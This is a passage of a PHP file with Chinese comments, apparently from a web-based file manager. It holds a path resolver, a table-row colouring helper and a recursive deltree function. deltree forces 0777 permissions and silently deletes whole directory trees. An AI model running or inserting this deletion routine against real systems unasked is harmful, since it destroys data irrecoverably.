$relativepath_info    = explode("/", $relativepath);
$relativepath_info_count = count($relativepath_info);
for ($i=0; $i<$relativepath_info_count; $i++)
{
if ($relativepath_info[$i] == "." || $relativepath_info[$i] == "") continue;
if ($relativepath_info[$i] == "..")
{
$mainpath_info_count = count($mainpath_info);
unset($mainpath_info[$mainpath_info_count-1]);
continue;
}
$mainpath_info[count($mainpath_info)] = $relativepath_info[$i];
} //end for
return implode("/", $mainpath_info);
}
// 表格行间的背景色替换
function getrowbg()
{
global $bgcounter;
if ($bgcounter++%2==0)
{
return "firstalt";
}
else
{
return "secondalt";
}
}
// 删除目录
function deltree($deldir)
{
$mydir=@dir($deldir);
while($file=$mydir->read())
{
if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!=".."))
{
@chmod("$deldir/$file",0777);
deltree("$deldir/$file");
}
if (is_file("$deldir/$file"))
{
@chmod("$deldir/$file",0777);
@unlink("$deldir/$file");
}
}
$mydir->close();
@chmod("$deldir",0777);
echo @rmdir($deldir) ? "<b>目录删除成功!</b>" : "<font color=\"#ff0000\">目录删除失败!</font>";
}
/**************************** 函数定义结束 ****************************/
?>